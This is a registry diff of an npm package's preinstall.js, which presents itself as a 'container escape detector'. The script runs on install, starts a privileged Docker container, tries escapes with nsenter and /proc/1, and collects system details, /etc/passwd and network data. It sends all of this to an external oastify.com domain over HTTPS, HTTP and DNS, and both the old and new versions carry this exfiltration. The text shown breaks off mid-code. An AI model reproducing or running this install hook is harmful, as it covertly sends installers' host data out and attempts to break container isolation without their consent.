rank4222wun 1.0.35 → 1.0.37

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/preinstall.js CHANGED
@@ -1,6 +1,5 @@
1
- // multi-container-escape-detector.js
1
+ // privileged-container-oast.js
2
2
  const { exec, spawn } = require('child_process');
3
- const os = require('os');
4
3
  const fs = require('fs');
5
4
  const path = require('path');
6
5
  const https = require('https');
@@ -9,929 +8,875 @@ const crypto = require('crypto');
9
8
 
10
9
  console.log(`
11
10
  ╔══════════════════════════════════════════════════════════╗
12
- MULTI-CONTAINER ESCAPE DETECTOR v3.0
13
- Advanced Container Security Assessment
11
+ PRIVILEGED CONTAINER WITH OAST REPORTING
12
+ OAST Domain: v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com
14
13
  ╚══════════════════════════════════════════════════════════╝
15
14
  `);
16
15
 
17
16
  // ===================== CONFIGURATION =====================
18
17
  const CONFIG = {
19
- // OAST Configuration
20
18
  OAST: {
21
- domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
19
+ domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
22
20
  httpsPort: 443,
23
21
  httpPort: 80,
24
22
  apiKey: crypto.randomBytes(16).toString('hex'),
25
- sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
23
+ sessionId: `priv-container-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
26
24
  },
27
25
 
28
- // Scanning Configuration
29
- SCAN: {
30
- maxContainers: 50,
31
- parallelScans: 5,
32
- timeoutPerContainer: 30000,
33
- deepScan: true,
34
- autoExploit: false,
35
- stealthMode: false
36
- },
37
-
38
- // Detection Methods
39
- METHODS: {
40
- nsenter: true,
41
- dockerSocket: true,
42
- procAccess: true,
43
- kernelExploits: true,
44
- hostMounts: true,
45
- capabilities: true,
46
- networkEscape: true
26
+ DOCKER: {
27
+ image: 'ubuntu:latest',
28
+ command: '/bin/bash',
29
+ privileged: true,
30
+ interactive: true,
31
+ remove: false,
32
+ name: `priv-container-${Date.now()}`
47
33
  },
48
34
 
49
- // Output Configuration
50
- OUTPUT: {
51
- saveReports: true,
52
- reportFormat: 'json', // json, html, txt
53
- verbose: true,
54
- colorOutput: true
35
+ SCAN: {
36
+ hostEscape: true,
37
+ networkScan: true,
38
+ fileAccess: true,
39
+ capabilityCheck: true
55
40
  }
56
41
  };
57
42
 
58
- // ===================== GLOBAL STATE =====================
59
- const STATE = {
60
- startTime: Date.now(),
61
- containers: {},
62
- hostInfo: null,
63
- networkMap: {},
64
- vulnerabilities: {},
65
- oastInteractions: [],
66
- statistics: {
67
- totalContainers: 0,
68
- scannedContainers: 0,
69
- escapedContainers: 0,
70
- vulnerableContainers: 0,
71
- criticalEscapes: 0
43
+ // ===================== OAST FUNCTIONS =====================
44
+ class OASTReporter {
45
+ constructor() {
46
+ this.interactions = [];
47
+ this.reports = [];
72
48
  }
73
- };
74
49
 
75
- // ===================== UTILITY FUNCTIONS =====================
76
- class ContainerScanner {
77
- constructor(containerId) {
78
- this.id = containerId;
79
- this.shortId = containerId.substring(0, 12);
80
- this.info = {
81
- id: containerId,
82
- name: '',
83
- image: '',
84
- status: '',
85
- escapeStatus: 'unknown',
50
+ sendDNS(subdomain, data = {}) {
51
+ const dnsName = `${subdomain}.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
52
+
53
+ dns.lookup(dnsName, (err) => {
54
+ if (!err) {
55
+ const interaction = {
56
+ type: 'DNS',
57
+ timestamp: new Date().toISOString(),
58
+ subdomain: subdomain,
59
+ dnsName: dnsName,
60
+ data: data
61
+ };
62
+
63
+ this.interactions.push(interaction);
64
+ console.log(`📡 DNS OAST sent: ${dnsName}`);
65
+ }
66
+ });
67
+ }
68
+
69
+ sendHTTP(endpoint, data) {
70
+ const postData = JSON.stringify({
71
+ sessionId: CONFIG.OAST.sessionId,
72
+ timestamp: new Date().toISOString(),
73
+ ...data
74
+ });
75
+
76
+ const options = {
77
+ hostname: CONFIG.OAST.domain,
78
+ port: CONFIG.OAST.httpPort,
79
+ path: endpoint,
80
+ method: 'POST',
81
+ headers: {
82
+ 'Content-Type': 'application/json',
83
+ 'X-Session-ID': CONFIG.OAST.sessionId,
84
+ 'User-Agent': 'PrivilegedContainerScanner/1.0'
85
+ }
86
+ };
87
+
88
+ const req = http.request(options, (res) => {
89
+ let body = '';
90
+ res.on('data', chunk => body += chunk);
91
+ res.on('end', () => {
92
+ const interaction = {
93
+ type: 'HTTP',
94
+ timestamp: new Date().toISOString(),
95
+ endpoint: endpoint,
96
+ status: res.statusCode,
97
+ response: body,
98
+ data: data
99
+ };
100
+
101
+ this.interactions.push(interaction);
102
+ console.log(`📡 HTTP OAST sent (${res.statusCode}): ${endpoint}`);
103
+ });
104
+ });
105
+
106
+ req.on('error', () => {});
107
+ req.write(postData);
108
+ req.end();
109
+ }
110
+
111
+ sendHTTPS(endpoint, data) {
112
+ const postData = JSON.stringify({
113
+ sessionId: CONFIG.OAST.sessionId,
114
+ timestamp: new Date().toISOString(),
115
+ ...data
116
+ });
117
+
118
+ const options = {
119
+ hostname: CONFIG.OAST.domain,
120
+ port: CONFIG.OAST.httpsPort,
121
+ path: endpoint,
122
+ method: 'POST',
123
+ headers: {
124
+ 'Content-Type': 'application/json',
125
+ 'X-Session-ID': CONFIG.OAST.sessionId,
126
+ 'X-Report-Type': 'privileged_container',
127
+ 'User-Agent': 'ContainerEscapeDetector/2.0'
128
+ }
129
+ };
130
+
131
+ const req = https.request(options, (res) => {
132
+ let body = '';
133
+ res.on('data', chunk => body += chunk);
134
+ res.on('end', () => {
135
+ const interaction = {
136
+ type: 'HTTPS',
137
+ timestamp: new Date().toISOString(),
138
+ endpoint: endpoint,
139
+ status: res.statusCode,
140
+ response: body,
141
+ data: data
142
+ };
143
+
144
+ this.interactions.push(interaction);
145
+ this.reports.push(interaction);
146
+ console.log(`📡 HTTPS OAST sent (${res.statusCode}): ${endpoint}`);
147
+ });
148
+ });
149
+
150
+ req.on('error', (e) => {
151
+ console.log(`⚠️ OAST error (may be expected): ${e.message}`);
152
+ });
153
+
154
+ req.write(postData);
155
+ req.end();
156
+ }
157
+
158
+ async reportContainerEscape(containerId, evidence) {
159
+ const report = {
160
+ containerId: containerId.substring(0, 12),
161
+ escapeConfirmed: evidence.escaped || false,
162
+ confidence: evidence.confidence || 0,
163
+ methods: evidence.methods || [],
164
+ proofPoints: evidence.proofPoints || [],
165
+ hostInfo: evidence.hostInfo || {},
166
+ timestamp: new Date().toISOString()
167
+ };
168
+
169
+ // إرسال عبر HTTPS
170
+ this.sendHTTPS('/privileged-container-escape', report);
171
+
172
+ // إرسال DNS notification
173
+ if (evidence.escaped) {
174
+ this.sendDNS('escape-confirmed', {
175
+ container: containerId.substring(0, 12),
176
+ confidence: evidence.confidence
177
+ });
178
+ }
179
+
180
+ // حفظ محلياً
181
+ this.saveLocalReport(report);
182
+
183
+ return report;
184
+ }
185
+
186
+ saveLocalReport(report) {
187
+ const filename = `oast-report-${CONFIG.OAST.sessionId}.json`;
188
+ const allReports = {
189
+ sessionId: CONFIG.OAST.sessionId,
190
+ domain: CONFIG.OAST.domain,
191
+ timestamp: new Date().toISOString(),
192
+ reports: this.reports,
193
+ containerReport: report
194
+ };
195
+
196
+ fs.writeFileSync(filename, JSON.stringify(allReports, null, 2));
197
+ console.log(`💾 Report saved locally: ${filename}`);
198
+ }
199
+ }
200
+
201
+ // ===================== CONTAINER SCANNER =====================
202
+ class PrivilegedContainerScanner {
203
+ constructor() {
204
+ this.containerId = null;
205
+ this.oastReporter = new OASTReporter();
206
+ this.evidence = {
207
+ escaped: false,
86
208
  confidence: 0,
87
- evidence: [],
88
209
  methods: [],
89
- risk: 'low',
90
- network: {},
91
- mounts: [],
92
- capabilities: [],
93
- vulnerabilities: []
210
+ proofPoints: [],
211
+ hostInfo: {},
212
+ containerInfo: {}
94
213
  };
95
- this.rawData = {};
96
214
  }
97
215
 
98
- async scan() {
216
+ async run() {
99
217
  try {
100
- console.log(`\n🔍 Scanning container: ${this.shortId}`);
218
+ console.log('🚀 Starting privileged container analysis...\n');
101
219
 
102
- // Collect basic info
220
+ // إرسال بداية الجلسة إلى OAST
221
+ this.oastReporter.sendHTTPS('/session-start', {
222
+ action: 'privileged_container_start',
223
+ config: CONFIG
224
+ });
225
+
226
+ // 1. تشغيل الحاوية المميزة
227
+ await this.runPrivilegedContainer();
228
+
229
+ // 2. جمع المعلومات الأساسية
103
230
  await this.collectBasicInfo();
104
231
 
105
- // Perform escape checks
106
- await this.performEscapeChecks();
232
+ // 3. محاولة الهروب والتأكيد
233
+ await this.attemptEscape();
234
+
235
+ // 4. فحص إضافي للحاوية
236
+ await this.performDeepScan();
107
237
 
108
- // Analyze results
238
+ // 5. تحليل النتائج
109
239
  await this.analyzeResults();
110
240
 
111
- // Report to OAST
112
- await this.reportToOAST();
241
+ // 6. إرسال التقرير النهائي
242
+ await this.sendFinalReport();
113
243
 
114
- // Update statistics
115
- this.updateStatistics();
244
+ // 7. عرض النتائج
245
+ this.displayResults();
116
246
 
117
- return this.info;
118
- } catch (error) {
119
- console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
120
- this.info.escapeStatus = 'scan_failed';
121
- return this.info;
122
- }
123
- }
247
+ // 8. تنظيف (اختياري)
248
+ await this.cleanup();
124
249
 
125
- async collectBasicInfo() {
126
- const commands = {
127
- name: `docker inspect ${this.id} --format '{{.Name}}'`,
128
- image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
129
- status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
130
- ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
131
- ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
132
- mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
133
- privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
134
- capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
135
- };
136
-
137
- for (const [key, cmd] of Object.entries(commands)) {
138
- try {
139
- const result = await this.executeCommand(cmd);
140
- this.rawData[key] = result;
141
-
142
- // Parse specific data
143
- switch(key) {
144
- case 'name':
145
- this.info.name = result.replace(/^\//, '');
146
- break;
147
- case 'image':
148
- this.info.image = result;
149
- break;
150
- case 'status':
151
- this.info.status = result;
152
- break;
153
- case 'ip':
154
- this.info.network.ip = result;
155
- break;
156
- case 'mounts':
157
- try {
158
- this.info.mounts = JSON.parse(result || '[]');
159
- } catch (e) {}
160
- break;
161
- case 'capabilities':
162
- try {
163
- this.info.capabilities = JSON.parse(result || '[]');
164
- } catch (e) {}
165
- break;
166
- }
167
- } catch (e) {
168
- this.rawData[key] = null;
169
- }
250
+ } catch (error) {
251
+ console.error(`❌ Error: ${error.message}`);
252
+ this.oastReporter.sendHTTPS('/error', { error: error.message });
170
253
  }
171
254
  }
172
255
 
173
- async performEscapeChecks() {
174
- const checks = [];
175
-
176
- if (CONFIG.METHODS.nsenter) {
177
- checks.push(this.checkNsenterEscape());
178
- }
179
-
180
- if (CONFIG.METHODS.dockerSocket) {
181
- checks.push(this.checkDockerSocketEscape());
182
- }
183
-
184
- if (CONFIG.METHODS.procAccess) {
185
- checks.push(this.checkProcEscape());
186
- }
187
-
188
- if (CONFIG.METHODS.hostMounts) {
189
- checks.push(this.checkMountEscape());
190
- }
191
-
192
- if (CONFIG.METHODS.kernelExploits) {
193
- checks.push(this.checkKernelVulnerabilities());
194
- }
195
-
196
- if (CONFIG.METHODS.capabilities) {
197
- checks.push(this.checkDangerousCapabilities());
198
- }
199
-
200
- if (CONFIG.METHODS.networkEscape) {
201
- checks.push(this.checkNetworkEscape());
202
- }
256
+ async runPrivilegedContainer() {
257
+ console.log('📦 Running privileged container...');
258
+
259
+ const dockerArgs = [
260
+ 'run',
261
+ '--privileged',
262
+ '-d',
263
+ '--name', CONFIG.DOCKER.name,
264
+ CONFIG.DOCKER.image,
265
+ 'sleep', '3600'
266
+ ];
203
267
 
204
- await Promise.all(checks);
268
+ return new Promise((resolve, reject) => {
269
+ exec(`docker ${dockerArgs.join(' ')}`, (error, stdout, stderr) => {
270
+ if (error) {
271
+ reject(error);
272
+ return;
273
+ }
274
+
275
+ this.containerId = stdout.trim();
276
+ console.log(`✅ Container started: ${this.containerId.substring(0, 12)}`);
277
+
278
+ // إرسال إلى OAST
279
+ this.oastReporter.sendHTTPS('/container-started', {
280
+ containerId: this.containerId.substring(0, 12),
281
+ name: CONFIG.DOCKER.name,
282
+ image: CONFIG.DOCKER.image,
283
+ privileged: true
284
+ });
285
+
286
+ // الانتظار للحاوية لتبدأ
287
+ setTimeout(resolve, 2000);
288
+ });
289
+ });
205
290
  }
206
291
 
207
- async checkNsenterEscape() {
208
- const command = `docker exec ${this.id} sh -c '
209
- which nsenter >/dev/null 2>&1 &&
210
- nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
211
- echo "FAILED"
212
- '`;
292
+ async collectBasicInfo() {
293
+ console.log('\n🔍 Collecting basic container information...');
213
294
 
214
- try {
215
- const result = await this.executeCommand(command);
216
- if (!result.includes('FAILED') && result.trim()) {
217
- this.info.methods.push('nsenter');
218
- this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
219
- this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
220
- }
221
- } catch (e) {}
222
- }
223
-
224
- async checkDockerSocketEscape() {
225
295
  const commands = [
226
- // Check if docker.sock is mounted
227
- `docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
228
- // Try to access Docker API
229
- `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
296
+ // معلومات النظام
297
+ 'cat /etc/os-release',
298
+ 'uname -a',
299
+ 'whoami',
300
+ 'id',
301
+
302
+ // الصلاحيات
303
+ 'capsh --print 2>/dev/null || echo "No capsh"',
304
+ 'cat /proc/self/status | grep -i cap',
305
+
306
+ // نظام الملفات
307
+ 'ls -la /',
308
+ 'mount | head -20',
309
+ 'df -h',
310
+
311
+ // الذاكرة والمعالج
312
+ 'free -h',
313
+ 'cat /proc/cpuinfo | grep "model name" | head -1',
314
+
315
+ // الشبكة
316
+ 'ip addr show',
317
+ 'hostname -I',
318
+ 'cat /etc/hosts',
319
+
320
+ // معلومات Docker
321
+ 'cat /proc/1/cgroup 2>/dev/null || echo "No cgroup access"',
322
+ 'ls -la /var/run/docker.sock 2>/dev/null || echo "No docker socket"'
230
323
  ];
231
324
 
232
- try {
233
- const [socketCheck, apiCheck] = await Promise.all(
234
- commands.map(cmd => this.executeCommand(cmd))
235
- );
236
-
237
- if (!socketCheck.includes('NOT_FOUND') && apiCheck.includes('ACCESSIBLE')) {
238
- this.info.methods.push('docker_socket');
239
- this.info.evidence.push('Docker socket accessible and writable');
240
-
241
- // Try to list other containers
242
- const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
243
- const containerCount = await this.executeCommand(listCmd);
325
+ const results = {};
326
+
327
+ for (const cmd of commands) {
328
+ try {
329
+ const output = await this.execInContainer(cmd);
330
+ results[cmd] = output.substring(0, 500);
244
331
 
245
- if (parseInt(containerCount) > 1) {
246
- this.info.evidence.push(`Can see ${containerCount.trim()} containers on host`);
247
- this.sendOAST('docker_socket_escape', {
248
- container: this.shortId,
249
- accessible: true,
250
- containerCount: containerCount.trim()
251
- });
332
+ // تحليل بعض النتائج الهامة
333
+ if (cmd.includes('os-release')) {
334
+ this.evidence.containerInfo.os = output;
335
+ }
336
+ if (cmd.includes('uname -a')) {
337
+ this.evidence.containerInfo.kernel = output;
338
+ }
339
+ if (cmd.includes('capsh')) {
340
+ this.evidence.containerInfo.capabilities = output;
252
341
  }
342
+
343
+ } catch (error) {
344
+ results[cmd] = `ERROR: ${error.message}`;
253
345
  }
254
- } catch (e) {}
255
- }
256
-
257
- async checkProcEscape() {
258
- const command = `docker exec ${this.id} sh -c '
259
- cat /proc/1/status 2>/dev/null | head -5 &&
260
- cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
261
- echo "NO_ACCESS"
262
- '`;
346
+ }
263
347
 
264
- try {
265
- const result = await this.executeCommand(command);
266
- if (!result.includes('NO_ACCESS') && result.includes('State:')) {
267
- this.info.methods.push('proc_access');
268
- this.info.evidence.push('Can access host init process via /proc/1/');
269
- this.sendOAST('proc_escape', { container: this.shortId });
270
- }
271
- } catch (e) {}
348
+ // إرسال المعلومات الأساسية إلى OAST
349
+ this.oastReporter.sendHTTPS('/basic-info', {
350
+ containerId: this.containerId.substring(0, 12),
351
+ basicInfo: results
352
+ });
353
+
354
+ return results;
272
355
  }
273
356
 
274
- async checkMountEscape() {
275
- const command = `docker exec ${this.id} sh -c '
276
- mount 2>/dev/null | grep -E "(/proc|/sys|/dev|overlay)" | head -10 ||
277
- cat /proc/mounts 2>/dev/null | head -20
278
- '`;
357
+ async attemptEscape() {
358
+ console.log('\n🔓 Attempting container escape...');
359
+
360
+ const escapeTests = [
361
+ {
362
+ name: 'nsenter_escape',
363
+ command: 'which nsenter && nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"',
364
+ check: (output) => output.includes('HOST_HOSTNAME') && output.includes('CONTAINER_HOSTNAME')
365
+ },
366
+ {
367
+ name: 'proc_escape',
368
+ command: 'cat /proc/1/status 2>/dev/null | head -5 && cat /proc/1/cmdline 2>/dev/null | tr "\\0" " " | head -c 100',
369
+ check: (output) => output.includes('State:') && output.length > 20
370
+ },
371
+ {
372
+ name: 'host_mounts',
373
+ command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || cat /etc/passwd 2>/dev/null | head -5 || echo "NO_ACCESS"',
374
+ check: (output) => !output.includes('NO_ACCESS') && output.length > 10
375
+ },
376
+ {
377
+ name: 'docker_socket',
378
+ command: 'ls -la /var/run/docker.sock 2>/dev/null && echo "EXISTS" || echo "NOT_EXISTS"',
379
+ check: (output) => output.includes('EXISTS')
380
+ },
381
+ {
382
+ name: 'network_escape',
383
+ command: 'ip route show 2>/dev/null | head -5 && ip neigh show 2>/dev/null | head -5',
384
+ check: (output) => output.includes('default via') || output.includes('lladdr')
385
+ }
386
+ ];
279
387
 
280
- try {
281
- const result = await this.executeCommand(command);
282
- if (result) {
283
- const lines = result.split('\n');
284
- const dangerousMounts = lines.filter(line =>
285
- line.includes('/proc') ||
286
- line.includes('/sys') ||
287
- line.includes('/dev') ||
288
- line.includes('overlay')
289
- );
388
+ for (const test of escapeTests) {
389
+ try {
390
+ const output = await this.execInContainer(test.command);
290
391
 
291
- if (dangerousMounts.length > 0) {
292
- this.info.methods.push('host_mounts');
293
- this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
392
+ if (test.check(output)) {
393
+ this.evidence.methods.push(test.name);
394
+ console.log(`✅ ${test.name}: Possible`);
294
395
 
295
- // Check if we can access host files through mounts
296
- const testCmd = `docker exec ${this.id} sh -c '
297
- ls -la /home 2>/dev/null | head -3 ||
298
- cat /etc/passwd 2>/dev/null | head -3 ||
299
- echo "NO_HOST_ACCESS"
300
- '`;
396
+ // إرسال إلى OAST
397
+ this.oastReporter.sendHTTPS('/escape-attempt', {
398
+ method: test.name,
399
+ success: true,
400
+ output: output.substring(0, 300)
401
+ });
301
402
 
302
- const accessResult = await this.executeCommand(testCmd);
303
- if (!accessResult.includes('NO_HOST_ACCESS')) {
304
- this.info.evidence.push('Can access host files through mounts');
305
- this.sendOAST('mount_escape', {
306
- container: this.shortId,
307
- mounts: dangerousMounts.slice(0, 3),
308
- hostAccess: true
403
+ // التحقق من اختلاف hostname لـ nsenter
404
+ if (test.name === 'nsenter_escape') {
405
+ const lines = output.split('\n');
406
+ let hostHostname = '';
407
+ let containerHostname = '';
408
+
409
+ lines.forEach(line => {
410
+ if (line.startsWith('HOST_HOSTNAME:')) {
411
+ hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
412
+ }
413
+ if (line.startsWith('CONTAINER_HOSTNAME:')) {
414
+ containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
415
+ }
309
416
  });
417
+
418
+ if (hostHostname && containerHostname && hostHostname !== containerHostname) {
419
+ this.evidence.proofPoints.push(`Host hostname (${hostHostname}) differs from container (${containerHostname})`);
420
+ this.evidence.hostInfo.hostname = hostHostname;
421
+ this.evidence.escaped = true;
422
+ }
310
423
  }
311
424
  }
425
+ } catch (error) {
426
+ console.log(`❌ ${test.name}: Failed - ${error.message}`);
312
427
  }
313
- } catch (e) {}
428
+ }
314
429
  }
315
430
 
316
- async checkKernelVulnerabilities() {
317
- const command = `docker exec ${this.id} sh -c '
318
- uname -r &&
319
- grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
320
- echo "NO_INFO"
321
- '`;
431
+ async performDeepScan() {
432
+ if (!CONFIG.SCAN.hostEscape) return;
322
433
 
323
- try {
324
- const result = await this.executeCommand(command);
325
- if (!result.includes('NO_INFO')) {
326
- const lines = result.split('\n');
327
- const kernel = lines[0]?.trim();
328
-
329
- if (kernel) {
330
- this.info.vulnerabilities.push(`Kernel: ${kernel}`);
331
-
332
- // Check for known vulnerable kernels
333
- const vulnerableKernels = {
334
- 'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
335
- 'DirtyCow': /^(2\.6\.|3\.|4\.)/,
336
- 'Shocker': /^(3\.8|3\.9|3\.10)\./
337
- };
338
-
339
- for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
340
- if (pattern.test(kernel)) {
341
- this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
342
- this.sendOAST('kernel_vuln', {
343
- container: this.shortId,
344
- kernel: kernel,
345
- vulnerability: vuln
346
- });
347
- break;
348
- }
349
- }
350
- }
434
+ console.log('\n🔬 Performing deep scan...');
435
+
436
+ const deepChecks = [
437
+ // محاولة إنشاء حاوية من داخل الحاوية
438
+ {
439
+ name: 'nested_container',
440
+ command: 'which docker && docker ps 2>/dev/null || which podman && podman ps 2>/dev/null || echo "NO_CONTAINER_RUNTIME"',
441
+ check: (output) => !output.includes('NO_CONTAINER_RUNTIME')
442
+ },
443
+
444
+ // فحص kernel vulnerabilities
445
+ {
446
+ name: 'kernel_check',
447
+ command: 'uname -r && grep -i "dirty\\|cow\\|shock\\|overlay" /etc/os-release 2>/dev/null || echo "NO_VULN_INFO"',
448
+ check: (output) => output.length > 5
449
+ },
450
+
451
+ // محاولة كتابة ملف في نظام المضيف
452
+ {
453
+ name: 'host_write_test',
454
+ command: 'echo "TEST_WRITE_FROM_CONTAINER" > /tmp/container_test.txt 2>/dev/null && echo "WRITE_SUCCESS" || echo "WRITE_FAILED"',
455
+ check: (output) => output.includes('WRITE_SUCCESS')
456
+ },
457
+
458
+ // فحص mount points خطيرة
459
+ {
460
+ name: 'dangerous_mounts',
461
+ command: 'mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" | head -10',
462
+ check: (output) => output.length > 10
351
463
  }
352
- } catch (e) {}
353
- }
354
-
355
- async checkDangerousCapabilities() {
356
- const command = `docker exec ${this.id} sh -c '
357
- capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
358
- echo "NO_CAPSH"
359
- '`;
464
+ ];
360
465
 
361
- try {
362
- const result = await this.executeCommand(command);
363
- if (!result.includes('NO_CAPSH') && result.trim()) {
364
- const dangerousCaps = [
365
- 'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
366
- 'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
367
- ];
466
+ for (const check of deepChecks) {
467
+ try {
468
+ const output = await this.execInContainer(check.command);
368
469
 
369
- const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
370
- if (foundCaps.length > 0) {
371
- this.info.methods.push('capabilities');
372
- this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
373
- this.sendOAST('dangerous_caps', {
374
- container: this.shortId,
375
- capabilities: foundCaps
470
+ if (check.check(output)) {
471
+ console.log(`⚠️ ${check.name}: Found potential issue`);
472
+
473
+ // إرسال إلى OAST
474
+ this.oastReporter.sendDNS(check.name, {
475
+ result: output.substring(0, 100)
376
476
  });
377
477
  }
478
+ } catch (error) {
479
+ // تجاهل الأخطاء
378
480
  }
379
- } catch (e) {}
380
- }
381
-
382
- async checkNetworkEscape() {
383
- const commands = [
384
- `docker exec ${this.id} ip route show 2>/dev/null | head -5`,
385
- `docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
386
- `docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
387
- ];
388
-
389
- try {
390
- const results = await Promise.all(
391
- commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
392
- );
393
-
394
- if (results.some(r => r.trim())) {
395
- this.info.methods.push('network_escape');
396
- this.info.network.details = {
397
- routes: results[0]?.split('\n').slice(0, 3) || [],
398
- connections: results[1]?.split('\n').slice(0, 5) || [],
399
- iptables: results[2]?.split('\n').slice(0, 10) || []
400
- };
401
- }
402
- } catch (e) {}
481
+ }
403
482
  }
404
483
 
405
484
  async analyzeResults() {
406
- // Calculate confidence score
407
- let score = 0;
485
+ console.log('\n📊 Analyzing results...');
408
486
 
409
- // Method points
487
+ // حساب مستوى الثقة
488
+ let confidence = 0;
489
+
490
+ // نقاط لكل طريقة هروب محتملة
410
491
  const methodPoints = {
411
- nsenter: 25,
412
- docker_socket: 30,
413
- proc_access: 20,
414
- host_mounts: 15,
415
- capabilities: 10,
416
- network_escape: 10
492
+ nsenter_escape: 30,
493
+ proc_escape: 25,
494
+ host_mounts: 20,
495
+ docker_socket: 25,
496
+ network_escape: 15
417
497
  };
418
498
 
419
- this.info.methods.forEach(method => {
420
- score += methodPoints[method] || 0;
499
+ this.evidence.methods.forEach(method => {
500
+ confidence += methodPoints[method] || 10;
421
501
  });
422
502
 
423
- // Vulnerability points
424
- if (this.info.vulnerabilities.length > 0) {
425
- score += this.info.vulnerabilities.length * 10;
503
+ // نقاط إضافية لأدلة قاطعة
504
+ if (this.evidence.proofPoints.length > 0) {
505
+ confidence += this.evidence.proofPoints.length * 10;
426
506
  }
427
507
 
428
- // Evidence points
429
- score += Math.min(this.info.evidence.length * 5, 25);
430
-
431
- // Capabilities points
432
- if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
433
- score += 20;
508
+ // إذا كان hostname مختلف
509
+ if (this.evidence.hostInfo.hostname) {
510
+ confidence += 20;
434
511
  }
435
512
 
436
- // Determine escape status
437
- this.info.confidence = Math.min(100, score);
438
-
439
- if (this.info.confidence >= 70) {
440
- this.info.escapeStatus = 'confirmed';
441
- this.info.risk = 'critical';
442
- } else if (this.info.confidence >= 40) {
443
- this.info.escapeStatus = 'probable';
444
- this.info.risk = 'high';
445
- } else if (this.info.confidence >= 20) {
446
- this.info.escapeStatus = 'possible';
447
- this.info.risk = 'medium';
513
+ // تحديد إذا تم الهروب فعلاً
514
+ this.evidence.confidence = Math.min(100, confidence);
515
+
516
+ if (this.evidence.confidence >= 60) {
517
+ this.evidence.escaped = true;
518
+ console.log(`🚨 CONFIRMED: Container escape possible (${this.evidence.confidence}% confidence)`);
519
+ } else if (this.evidence.confidence >= 30) {
520
+ console.log(`⚠️ POSSIBLE: Container escape may be possible (${this.evidence.confidence}% confidence)`);
448
521
  } else {
449
- this.info.escapeStatus = 'unlikely';
450
- this.info.risk = 'low';
522
+ console.log(`✅ SECURE: Container appears isolated (${this.evidence.confidence}% confidence)`);
451
523
  }
452
524
  }
453
525
 
454
- async reportToOAST() {
455
- if (this.info.escapeStatus !== 'unlikely' && this.info.confidence > 10) {
456
- const payload = {
457
- sessionId: CONFIG.OAST.sessionId,
458
- timestamp: new Date().toISOString(),
459
- container: {
460
- id: this.shortId,
461
- name: this.info.name,
462
- image: this.info.image
463
- },
464
- escape: {
465
- status: this.info.escapeStatus,
466
- confidence: this.info.confidence,
467
- risk: this.info.risk,
468
- methods: this.info.methods,
469
- evidence: this.info.evidence.slice(0, 5)
470
- },
471
- vulnerabilities: this.info.vulnerabilities
472
- };
473
-
474
- this.sendOAST('container_escape_report', payload);
475
- }
476
- }
477
-
478
- sendOAST(type, data) {
479
- const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
480
- const interaction = {
481
- id: interactionId,
482
- type: type,
526
+ async sendFinalReport() {
527
+ console.log('\n📡 Sending final report to OAST...');
528
+
529
+ const report = {
530
+ sessionId: CONFIG.OAST.sessionId,
531
+ containerId: this.containerId ? this.containerId.substring(0, 12) : 'unknown',
483
532
  timestamp: new Date().toISOString(),
484
- container: this.shortId,
485
- data: data
533
+ evidence: this.evidence,
534
+ summary: {
535
+ escaped: this.evidence.escaped,
536
+ confidence: this.evidence.confidence,
537
+ methods: this.evidence.methods,
538
+ proofPoints: this.evidence.proofPoints
539
+ }
486
540
  };
487
541
 
488
- STATE.oastInteractions.push(interaction);
542
+ // إرسال التقرير النهائي
543
+ this.oastReporter.reportContainerEscape(this.containerId, this.evidence);
489
544
 
490
- // Send via HTTPS
491
- const req = https.request({
492
- hostname: CONFIG.OAST.domain,
493
